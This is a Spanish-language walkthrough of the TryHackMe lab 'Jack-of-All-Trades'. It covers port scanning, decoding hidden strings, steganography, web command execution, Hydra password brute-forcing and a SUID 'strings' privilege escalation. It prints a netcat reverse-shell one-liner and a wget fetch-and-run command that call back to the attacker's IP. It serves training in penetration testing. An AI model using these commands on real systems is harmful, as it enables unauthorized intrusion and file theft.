Jack-of-All-Trades es una maquina de TryHackMe, SSH está presente en un puerto diferente y en el puerto 22 vemos una pagina web con algunos retos CTF Like que nos dieron acceso al usuario Jack y, con la ejecucion de un binario con permisos SUID obtuvimos la flag root.
Room
Titulo | Jack-of-All-Trades |
---|---|
Descripción | Boot-to-root originally designed for Securi-Tay 2020 |
Puntos | 60 |
Dificultad | Facil |
Maker |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ssh (80) y el puerto http (22) abiertos.
|
|
HTTP
Al visitar el puerto 80 nos muestra un error nuestro navegador.
La IP esta activa, solo el puerto en el que esta corriendo Apache es el 22 y no el 80, se puede configurar el puerto en firefox dentro de about:config
creando un string de configuracion.
Ahora si podemos visitar la pagina y nos muestra lo siguiente.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
|
|
En el index de la pagina encontramos varias cosas interesantes en el codigo fuente.
Vemos un comentario que al decodificarlo en base64 nos muestra un mensaje.
Nos dirigimos a /recovery.php e intentamos utilizar la contraseña con Johny Grave
y combinacion del nombre pero no nos deja ingresar.
Vemos en el codigo fuente una string codificada.
GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZJXHE3DMMRQGY3TMMRSGA3DONZVG4ZDEMBWGU3TENZQGYZDMOJXGI3DKNTDGIYDOOJWGI3TINZWGYYTEMBWMU3DKNZSGIYDONJXGY3TCNZRG4ZDMMJSGA3DENRRGIYDMNZXGU3TEMRQG42TMMRXME3TENRTGZSTONBXGIZDCMRQGU3DEMBXHA3DCNRSGZQTEMBXGU3DENTBGIYDOMZWGI3DKNZUG4ZDMNZXGM3DQNZZGIYDMYZWGI3DQMRQGZSTMNJXGIZGGMRQGY3DMMRSGA3TKNZSGY2TOMRSG43DMMRQGZSTEMBXGU3TMNRRGY3TGYJSGA3GMNZWGY3TEZJXHE3GGMTGGMZDINZWHE2GGNBUGMZDINQ=
Utilizamos base32 y hex para decodificar la cadena, lo cual nos devuelve una nueva cadena cifrada, esta vez al parecer es Caesar Cipher.
dcode.fr tiene una herramienta muy util que nos ayudó a decifrar el mensaje, CAesar Cipher.
El link que nos menciona el mensaje nos redirige a una pagina de wikipedia con el nombre de Stegosauria
, si recordamos en el index hay una imagen con un nombre parecido. Intentamos con steganografia en la imagen utilizando steghide
.
Obtenemos un archivo que nos indica que vamos por buen camino pero la imagen no es la correcta. Hacemos lo mismo con las otras dos imagenes del index, y obtuvimos un archivo con credenciales en la imagen header.jpg.
Ingresamos al panel de /recovery.php y vemos un mensaje.
Le pasamos un comando al parametro cmd
y logramos ejecutar el comando.
Ahora que podemos ejecutar comandos, utilizamos esta ventaja para obtener una shell inversa, primero creamos un archivo el que contenga nuestro comando para nuestra shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.72 1338 >/tmp/f
Creamos un pequeño servidor http con python3 python3 -m http.server 80
. Ejecutamos el siguiente comando para obtener nuestra shell.
bash -c "$(wget -qO- 10.8.1.72/shell.sh)"
Y ponemos a la escucha netcat en nuestra maquina rlwrap nc -lvp 1338
y obtenemos nuestra shell.
USER - JACK
Dentro del directorio /home encontramos una lista de posibles contraseñas que parecen ser del usuario jack.
Utilizamos hydra con la lista de posibles contraseñas en el servicio SSH utilizando el puerto 80, logramos encontrar la contraseña.
Utilizamos ssh y obtenemos una shell.
Vemos una imagen, la pasamos a nuestra maquina con netcat, abrimos la imagen y vemos nuestra flag user.txt.
PRIVILEGE ESCALATION
Enumeramos los binarios que puedan ayudar a obtener una shell con privilegios root, encontramos strings con el cual podemos leer archivos.
Utilizamos strings
para obtener nuestra flag /root/root.txt.